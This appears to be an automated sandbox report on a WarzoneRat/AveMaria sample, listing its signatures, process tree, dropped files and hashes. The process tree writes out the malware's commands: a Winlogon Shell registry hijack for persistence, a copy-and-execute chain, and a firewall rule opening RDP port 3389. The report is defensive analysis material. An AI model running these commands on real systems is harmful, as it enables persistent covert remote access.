Analysis

  • max time kernel
    146s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/01/2023, 13:49

General

  • Target
    file.exe
  • Size 581KB
  • Sample230126-q4nyjadh29
  • SHA256 f520f6f73efb0658ac2ee9c61cff3bc8d95f2ab0853ef6bee3edbdfb3db7d3fc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • WarzoneRat, AveMaria

    WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.

  • Executes dropped EXE 4 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4588
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\klnvand.exe,"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2180
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • Runs ping.exe
        PID:1468
      • C:\Windows\SysWOW64\reg.exe
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\klnvand.exe,"
        3⤵
        • Modifies WinLogon for persistence
        PID:4860
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 18 > nul && copy "C:\Users\Admin\AppData\Local\Temp\file.exe" "C:\Users\Admin\AppData\Roaming\klnvand.exe" && ping 127.0.0.1 -n 18 > nul && "C:\Users\Admin\AppData\Roaming\klnvand.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5028
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 18
        3⤵
        • Runs ping.exe
        PID:2212
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 18
        3⤵
        • Runs ping.exe
        PID:4724
      • C:\Users\Admin\AppData\Roaming\klnvand.exe
        "C:\Users\Admin\AppData\Roaming\klnvand.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1948
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
            PID:1208
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            4⤵
              PID:2736
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
              4⤵
              • Sets DLL path for service in the registry
              • Drops file in System32 directory
              • Drops file in Program Files directory
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3712
              • C:\Users\Admin\AppData\Local\Temp\13.exe
                "C:\Users\Admin\AppData\Local\Temp\13.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:4952
                • C:\Windows\SysWOW64\netsh.exe
                  netsh advfirewall firewall add rule name="3389" dir=in action=allow protocol=TCP localport=3389
                  6⤵
                  • Modifies Windows Firewall
                  PID:2540
            • C:\Users\Admin\AppData\Local\Temp\aQbbNbh.exe
              "C:\Users\Admin\AppData\Local\Temp\aQbbNbh.exe"
              4⤵
              • Executes dropped EXE
              • Checks computer location settings
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1428
              • C:\Users\Admin\AppData\Local\Temp\aQbbNbh.exe
                "C:\Users\Admin\AppData\Local\Temp\aQbbNbh.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5024
      • C:\Windows\system32\AUDIODG.EXE
        C:\Windows\system32\AUDIODG.EXE 0x4dc 0x240
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2612
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k NetworkService -s TermService
        1⤵
          PID:4544
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k NetworkService -s TermService
          1⤵
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4752

        Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              sqlmap.dll

              • Path C:\Program Files\Microsoft DN1\sqlmap.dll
              • Size 114KB
              • SHA256 798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
              • MD5 SHA1 SHA512 SSDEEP

              aQbbNbh.exe.log

              • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\aQbbNbh.exe.log
              • Size 1KB
              • SHA256 90c83311e35da0b5f8aa65aa2109745feb68ee9540e863f4ed909872e9c6a84c
              • MD5 SHA1 SHA512

              13.exe

              • Path C:\Users\Admin\AppData\Local\Temp\13.exe
              • Size 70KB
              • SHA256 0df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c
              • MD5 SHA1 SHA512 SSDEEP

              13.exe

              • Path C:\Users\Admin\AppData\Local\Temp\13.exe
              • Size 70KB
              • SHA256 0df3d05900e7b530f6c2a281d43c47839f2cf2a5d386553c8dc46e463a635a2c
              • MD5 SHA1 SHA512 SSDEEP

              aQbbNbh.exe

              • Path C:\Users\Admin\AppData\Local\Temp\aQbbNbh.exe
              • Size 76KB
              • SHA256 2d0dc6216f613ac7551a7e70a798c22aee8eb9819428b1357e2b8c73bef905ad
              • MD5 SHA1 SHA512 SSDEEP

              aQbbNbh.exe

              • Path C:\Users\Admin\AppData\Local\Temp\aQbbNbh.exe
              • Size 76KB
              • SHA256 2d0dc6216f613ac7551a7e70a798c22aee8eb9819428b1357e2b8c73bef905ad
              • MD5 SHA1 SHA512 SSDEEP

              aQbbNbh.exe

              • Path C:\Users\Admin\AppData\Local\Temp\aQbbNbh.exe
              • Size 76KB
              • SHA256 2d0dc6216f613ac7551a7e70a798c22aee8eb9819428b1357e2b8c73bef905ad
              • MD5 SHA1 SHA512 SSDEEP

              aQbbNbh.txt

              • Path C:\Users\Admin\AppData\Local\Temp\aQbbNbh.txt
              • Size 56B
              • SHA256 f3ccd19479b83dcb8599e216abd231c604153a9056ca498649cabde1eb7ba428
              • MD5 SHA1 SHA512

              aQbbNbh.txt

              • Path C:\Users\Admin\AppData\Local\Temp\aQbbNbh.txt
              • Size 56B
              • SHA256 7ff2e229363df30cdc189cccfff8e324087830569141012310cf7b173944a6d7
              • MD5 SHA1 SHA512

              aQbbNbh.txt

              • Path C:\Users\Admin\AppData\Local\Temp\aQbbNbh.txt
              • Size 56B
              • SHA256 7ff2e229363df30cdc189cccfff8e324087830569141012310cf7b173944a6d7
              • MD5 SHA1 SHA512

              klnvand.exe

              • Path C:\Users\Admin\AppData\Roaming\klnvand.exe
              • Size 581KB
              • SHA256 f520f6f73efb0658ac2ee9c61cff3bc8d95f2ab0853ef6bee3edbdfb3db7d3fc
              • MD5 SHA1 SHA512 SSDEEP

              klnvand.exe

              • Path C:\Users\Admin\AppData\Roaming\klnvand.exe
              • Size 581KB
              • SHA256 f520f6f73efb0658ac2ee9c61cff3bc8d95f2ab0853ef6bee3edbdfb3db7d3fc
              • MD5 SHA1 SHA512 SSDEEP

              rdpwrap.ini

              • Path \??\c:\program files\microsoft dn1\rdpwrap.ini
              • Size 299KB
              • SHA256 1c4930123ec2a809b3bd93969967d6c321d8d65fc7b886e062b2581c741944e5
              • MD5 SHA1 SHA512 SSDEEP

              sqlmap.dll

              • Path \??\c:\program files\microsoft dn1\sqlmap.dll
              • Size 114KB
              • SHA256 798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4
              • MD5 SHA1 SHA512 SSDEEP

              memory/1428-157-0x00000000005D0000-0x00000000005EA000-memory.dmp

              memory/1948-146-0x00000000003D0000-0x0000000000468000-memory.dmp

              memory/3712-153-0x0000000000400000-0x000000000055C000-memory.dmp

              memory/3712-152-0x0000000000400000-0x000000000055C000-memory.dmp

              memory/3712-150-0x0000000000400000-0x000000000055C000-memory.dmp

              memory/3712-172-0x0000000000400000-0x000000000055C000-memory.dmp

              memory/4588-132-0x0000000000FF0000-0x0000000001088000-memory.dmp

              memory/4588-136-0x000000000BFE0000-0x000000000BFEA000-memory.dmp

              memory/4588-135-0x0000000005480000-0x000000000551C000-memory.dmp

              memory/4588-134-0x00000000053E0000-0x0000000005472000-memory.dmp

              memory/4588-133-0x0000000005B30000-0x00000000060D4000-memory.dmp

              memory/4952-163-0x0000000000C10000-0x0000000000C3D000-memory.dmp

              memory/4952-173-0x0000000000C10000-0x0000000000C3D000-memory.dmp